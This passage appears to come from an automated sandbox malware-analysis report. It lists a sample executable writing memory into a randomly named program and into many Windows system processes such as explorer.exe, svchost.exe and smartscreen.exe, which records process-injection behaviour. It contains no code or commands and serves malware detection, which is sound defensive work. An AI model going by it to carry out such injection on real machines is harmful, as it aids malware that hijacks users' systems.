      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: 7C0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: E30000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: E40000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: 9E0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: 9F0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: 820000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: 830000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: C60000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: C70000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: 7C0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: 7D0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: 5B0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: 5C0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: C70000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: C80000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: 9D0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: 9E0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: F40000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: F50000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: B50000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: B60000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: 5D0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: 5E0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: AA0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: AB0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: 920000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: 930000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: 1150000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: 1160000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: AA0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: AB0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: 6F0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: 700000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: AB0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: AC0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: 420000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: 430000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: 14F0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: 1500000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: 170000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: 180000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: 1170000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: 1180000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: A20000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: A30000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: 760000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: 770000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: A90000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: AA0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: 990000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: 9A0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: FA0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: FB0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: D30000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: D40000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: ED0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: EE0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: F00000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: F10000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: 9F0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: A00000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: 11B0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: 11C0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: DA0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: DB0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: 730000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: 740000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: F80000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: F90000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: 7E0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: 7F0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: BB0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: BC0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: F60000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: F70000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: F40000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: F50000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: 9A0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: 9B0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: A20000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: A70000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: 780000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: 790000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: 890000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: 8A0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: E60000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: E70000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: 3B0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files (x86)\JoMoAWoLoFTBATuUNhzGOfoSBiTzKgZisYLySNkDqyeCXANTFgUQH\mnIfGXLiqWUjFj.exe base: 3C0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\fontdrvhost.exe base: 910000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\fontdrvhost.exe base: 1000000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\dwm.exe base: 2E0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\sihost.exe base: D00000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\svchost.exe base: 860000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\svchost.exe base: 430000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\ctfmon.exe base: 580000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\explorer.exe base: 3270000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\dllhost.exe base: FB0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe base: 130000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe base: 8B0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\RuntimeBroker.exe base: 410000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\smartscreen.exe base: 680000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\RuntimeBroker.exe base: 3C0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_17.8827.22055.0_x64__8wekyb3d8bbwe\HxTsr.exe base: 7E0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\RuntimeBroker.exe base: B70000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\RuntimeBroker.exe base: 300000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\dllhost.exe base: 550000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\svchost.exe base: 70000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\fontdrvhost.exe base: 920000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\fontdrvhost.exe base: 1010000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\dwm.exe base: 2F0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\sihost.exe base: D10000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\svchost.exe base: 870000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\svchost.exe base: 440000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\ctfmon.exe base: 590000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\explorer.exe base: 3300000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\dllhost.exe base: FC0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe base: 140000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe base: 8C0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\RuntimeBroker.exe base: 420000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\smartscreen.exe base: 690000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\RuntimeBroker.exe base: 3D0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_17.8827.22055.0_x64__8wekyb3d8bbwe\HxTsr.exe base: 7F0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\RuntimeBroker.exe base: B80000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\RuntimeBroker.exe base: 310000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\dllhost.exe base: 560000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\svchost.exe base: 80000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\fontdrvhost.exe base: 930000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\fontdrvhost.exe base: 1020000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\dwm.exe base: 300000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\sihost.exe base: D20000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\svchost.exe base: 880000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\svchost.exe base: 450000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\ctfmon.exe base: 5A0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\explorer.exe base: 3330000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\dllhost.exe base: FD0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe base: 150000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe base: 8D0000Jump to behavior
      Source: C:\Users\user\Desktop\pXlV6TKi3E.exeMemory written: C:\Windows\System32\RuntimeBroker.exe base: 430000Jump to behavior
